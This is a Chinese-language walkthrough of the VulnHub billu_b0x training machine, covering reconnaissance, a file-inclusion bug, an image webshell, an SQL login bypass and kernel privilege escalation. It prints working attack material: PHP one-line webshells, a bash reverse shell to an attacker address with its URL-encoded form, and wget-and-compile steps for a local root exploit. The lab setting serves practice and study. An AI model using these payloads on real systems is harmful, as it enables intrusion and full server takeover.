[靶机]VulnHub-billu_b0x-Writeup

lyuan   ·   发表于 2020-09-12 17:28:26   ·   技术文章

前言 - 关于靶机

从大佬博客看到的,也是入门靶机,挺适合我这种菜鸡玩的,所以就看着大佬的博客照猫画虎做做看,顺便练手。非常适合新手用,巩固知识。

下载链接:https://www.vulnhub.com/entry/billu-b0x,188/

0x01 - 运行环境

下载调教:

下载导入虚拟机不多说,默认上网是仅主机模式,这里不论述与NAT和桥接模式之间差距。我这微调下。

  • 修改网络连接为NAT方式

  • 内存、处理器拉高一倍

    后面才知道是ubuntu吃不了那么多资源,但多给资源总归是增大容错率的。

0x02 - 信息收集

IP发现

首先得知道billu靶机的ip地址,根据之前经验,简单使用如下工具来发现主机

延伸可拓展极多内容,多层的主机发现和工具及优缺点。

  • netdiscover

    netdiscover -i eth0 -r 192.168.150.0/24
    

    image-20200908203736974

    一开始发现没有结果,猜测极有可能是因为NAT上网模式,如果采取桥接模式应该不会出现这种结果,和工具的工作原理有关。之前Raven1靶场使用此工具成功,当时采用的就是桥接模式。

    可能是因为修改过Kali的配置文件,切换桥接模式无法开机,故先挖坑,以后有生之年可以填坑。

    等待好久之后才得到结果,可能和工具工作原理有关。

  • arp-scan

    arp-scan -l
    

    image-20200908204018658

    反应很迅速,操作很快。

  • nmap

    nmap -sP 192.168.150.1/24
    

    image-20200908204515359

根据上面信息可以得出十有八九靶机IP是192.168.150.147

端口及服务识别

nmap -A -p1-65535 192.168.150.147

image-20200908205054457

得到有用信息,22、80端口,Apache。来看看web服务。

0x03 - 漏洞挖掘

漏洞挖掘思路:

(1) SQL注入:首页提示注入,想办法注入成功。

(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;

(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;

(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;

(5) 查看每个网页的源码,看是否有提示;。

(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。

步骤一:测试主页面SQL注入

直接来看web页面,一张很霸气的白胡子,并暗示你用sql来操作。

image-20200909165330258

手注发现仍无效,sqlmap跑包,好像也没跑出。暂时看看其他。

admin' or 2=2 --+

sqlmap -r 1.txt --level 3 --dbms mysql

步骤二:爆破目录

Kali使用工具如下:

  • dirb

    dirb http://192.168.150.147 /usr/share/dirb/wordlists/big.txt
    

    image-20200909170740441

    粗略统计信息为

    ==> DIRECTORY: http://192.168.150.147/images/
    ==> DIRECTORY: http://192.168.150.147/phpmy/js/
    ==> DIRECTORY: http://192.168.150.147/phpmy/libraries/
    ==> DIRECTORY: http://192.168.150.147/phpmy/locale/
    ==> DIRECTORY: http://192.168.150.147/phpmy/pmd/
    ==> DIRECTORY: http://192.168.150.147/phpmy/scripts/
    ==> DIRECTORY: http://192.168.150.147/phpmy/setup/
    ==> DIRECTORY: http://192.168.150.147/phpmy/themes/
    ==> DIRECTORY: http://192.168.150.147/phpmy/setup/frames/
    ==> DIRECTORY: http://192.168.150.147/phpmy/setup/lib/
    
  • nikto

    nikto -C all -h http://192.168.150.147
    

    大概信息可以得到

    OSVDB-3268: /images/: Directory indexing found.
    OSVDB-3233: /icons/README: Apache default file found.
    OSVDB-5292: /in.php?returnpath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
    OSVDB-3092: /test.php: This might be interesting...
    
  • dirsearch

    此工具需要额外下载。

    git config --global http.proxy socks5://192.168.1.226:10808 [5:28:51]
    
    git clone https://github.com/maurosoria/dirsearch
    

    这里还发现dirsearch一个小bug

    image-20200909173451646

    起初我还以为我下载和配置有问题,就从wsl重新安装一遍,报错依旧,我开始审视这个问题。

    没想到我从python语法报错中找到clioutput文件182行,发现此处的,成了.

    image-20200909173656165.

    按理来说这种低级错误不应该出现在这种工具上把。

    所以说只要是人就有错误,人是最不稳定因素,以后遇到问题不一定是自己出问题,很有可能是工具本身就出错。

    image-20200909174013687

综上所述,工具所得,我觉得就单论工具实用性来说dirsearch最快也最直观,效率最高,可能其他工具我使用姿势不对,以后也会补充更多目录爆破工具。

[05:34:04] 200 - 307B - /add 
[05:34:04] 200 - 307B - /add.php 
[05:34:06] 200 - 1B - /c 
[05:34:06] 403 - 291B - /cgi-bin/ 
[05:34:07] 403 - 302B - /doc/en/changes.html 
[05:34:07] 403 - 287B - /doc/ 
[05:34:07] 403 - 301B - /doc/stable.version
[05:34:08] 200 - 3KB - /head.php 
[05:34:08] 301 - 319B - /images -> http://192.168.150.147/images/
[05:34:08] 200 - 47KB - /in 
[05:34:08] 200 - 3KB - /index 
[05:34:08] 200 - 3KB - /index.php 
[05:34:09] 302 - 2KB - /panel -> index.php 
[05:34:09] 302 - 2KB - /panel.php -> index.php 
[05:34:10] 200 - 8KB - /phpmy/ 
[05:34:10] 403 - 296B - /server-status 
[05:34:10] 403 - 297B - /server-status/
[05:34:11] 200 - 1B - /show 
[05:34:11] 200 - 72B - /test 
[05:34:11] 200 - 72B - /test.php

逐一分析目录:

  • /add.php是上传点

    但是没有任何反应,抓包后得到的response包是一直没有变化的,估计是忽悠页面。

  • /in是phpinfo界面

  • /phpmy/是phpmyadmin

  • /show/c都是空白页面

  • /test.php有门道,可能存在文件包含漏洞

    image-20200909174726827

步骤三:利用文件包含漏洞获取php源码

首先尝试get传参/etc/passwd,发现无效,后使用hackbar更改成post请求发现可以下载站点文件,说明存在文件包含漏洞。

image-20200909175426349

玩骚的还可以使用burp更改get为post,最骚的还是用curl直接请求post包。

curl http://192.168.150.147 -d "file=c.php"

这里的d是data的意思,让人联想到python里面request里面post请求的参数。

image-20200909180104853

同理如上得到上面下载add.php、in.php、c.php、index.php、show.php、panel.php等文件。

步骤四:代码审计

add.php、in.php可以看到原貌了,确实是个大幌子。

<?php

echo '<form method="post" enctype="multipart/form-data">
 Select image to upload:
 <input type="file" name=image>
 <input type=text name=name value="name">
 <input type=text name=address value="address">
 <input type=text name=id value=1337 >
 <input type="submit" value="upload" name="upload">
</form>';

但是可以从c.php中看到mysql的账户密码。

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
用户名:billu
密码:b0x_billu
数据库名:ica_lab

步骤五:登录phpmyadmin尝试getshell

发现web页面的账户密码。

image-20200911091431886

首先是直接写一个ma,没权限。

image-20200911092109471

写日志功能也没权限。

image-20200911092304110

登录进去是个上传点。作者也是个老海迷了。

image-20200911091654776

看样子是个上传点。

步骤六:尝试利用上传点

之前爆破时也得知目录为/uploaded_images/。可以看代码处。

image-20200911152606722

再抓个包看下。

image-20200911152753557

这下我们就有思路了。

反弹SHELL是网上默认思路,再次生成易调用的一句话是我的个人思路。

  • 利用文件包含,执行一句话木马反弹SHELL
  • 利用文件包含,再生成一个简易可调用的一句话木马拿到Webshell

踩坑:

由于函数里目录的拼接有getcwd构成,故目录要自己拼接,所以load的传参一定要完整!!

$dir = getcwd();

所以我们需要做的是:

  • 添加一句话的传参值
  • 修改load参数的值以确定路径

步骤七:生成易调用的一句话木马拿Webshell

其实这也是源自我参照网上的wp中,我自己误打误撞碰到的坑加上以前风哥所教,融会贯通所得。

首先安装页面如实上传一个图片马,我是事后才知道网上多数都是上传一个系统执行<?php system($_GET['cmd']);?>)的一句话,而我当时没注意,直接上传一句话getshell的木马<?php eval($_REQUEST['zyue']);?>),后续才发现不对,所以我也就误打误撞跟着我的思路走下去试试看,能否另辟蹊径?

image-20200911153902176

但是在我尝试写入一句话的时候发现,并不成功,在本地复现后确认语法没有问题,后才估计是没有写入权限,后续通过读取函数,可以确定有读取权限。

POST /panel.php?zyue=file_put_contents('8.php','123123123''); HTTP/1.1

image-20200911160606153

image-20200911161252494

看样子,我想直接写shell不太能成立,白高兴一场,不过也算是自己自发的拓展思维,渗透测试本就是重在一个“测”字,那就只能接着看反弹SHELL了。

步骤八:利用文件包含反弹SHELL

这里用的马就不太一样了,我得重新制作一张,建议

  • 尺寸尽可能小
  • copy命令比直接修改图片内容稳健
  • 本地提前测试有效性
<?php system($_GET['cmd']);?>

图片马制作一气呵成。上传,burp改包同上。

image-20200911162032214

尝试反弹shell。

需要将命令url编码:

echo "bash -i >& /dev/tcp/192.168.150.129/4444 0>&1" | bash

burp直接用Decoder工具转。

%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%30%2e%31%32%39%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68

再丢到burp改包放包执行。一次就成,真是完美中的完美,爆炸中的爆炸!

image-20200911162624375

查看权限后发现版本很低,尝试提权。

image-20200911165822504

步骤八:提权上root

exp下载:https://www.exploit-db.com/exploits/37292

也可从kali直接搜索

searchsploit 3.13.0

image-20200911170001090

拷贝文件到靶机上。

Kali终端:

service nginx start 
cp /usr/share/exploitdb/exploits/linux/local/37292.c .

反弹SHELL:

wget http://192.168.150.129/37292.c
chmod 777 37292.C
gcc exploit.c -o exploit
./exploit
whoami

image-20200911170920246

真是完美中的完美,爆炸中的爆炸!

0x04 - 补全方案

除去上面一种突破方案,仍有众多其他遗漏方法可以getshell。

phpmyadmin超车方案 - config.inc.php

config.inc.php文件:

config.inc.php文件是phpmyadmin配置文件,几乎所有的配置参数都在 config.inc.php文件中。

由于我们有文件包含漏洞,审计代码后,可以尝试利用test.php下载config.inc.php。

在test.php传参中加入

file=/var/www/phpmy/config.inc.php

下载后查看即可得到root密码完成超车。

image-20200911195318063

白盒渗透 - SQL注入

之前由于黑盒测试,没有过多消耗精力在sql注入上,现在代码拔下来可以审计下。

if (isset($_POST['login'])) {
 # 过滤\'
 $uname = str_replace('\'', '', urldecode($_POST['un']));
 $pass = str_replace('\'', '', urldecode($_POST['ps']));
 $run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
 $result = mysqli_query($conn, $run);
 if (mysqli_num_rows($result) > 0) {
 $row = mysqli_fetch_assoc($result);
 echo "You are allowed<br>";
 $_SESSION['logged'] = true;
 $_SESSION['admin'] = $row['username'];

 header('Location: panel.php', true, 302);
 } else {
 echo "<script>alert('Try again');</script>";
 }
}

重点:str_replace('\'', '', urldecode($_POST['un']));这里只是单纯的过滤引号,之前被严重误导,一直以为过滤的是\'

image-20200911223114910

我觉得必须含有\'并没有和前面有任何因果关系。

后面通过本地代码复现,发现过滤的仅是单引号!!!

过滤\‘之后,大致语句如下:

select * from auth where pass='' and uname=''

payload:

  • 用户名:' or 1=1 -- \',密码:包含\'即可

    过滤所有单引号即账号:or 1=1 -- \,密码:\

    select * from auth where pass='\' and uname=' or 1=1 -- \'
    

    这就很好理解了,之前被各种大佬的wp误导。

    所以可以直接传参账号:or 1=1 -- \,密码:\。甚至不需要加单引号。

    image-20200911224646206

  • 用户名:-0--+,密码:'\'

    这个真的是骚知识,作者好像是个ctfer,暂时没法理解。

0x05 - 总结

做了大半年,一直挤不出时间。

后面这个sql注入印象中是做过的,果然在HEAD注入中我手注post的时候,和这一模一样?!

从之前无法理解到通透理解,像是经历了一场大战,酣畅淋漓。


Referer:

用户名金币积分时间理由
Track-聂风 50.00 0 2020-09-15 11:11:34 同学加油~

打赏我,让我更有动力~

0 Reply   |  Until 2020-9-12 | 775 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.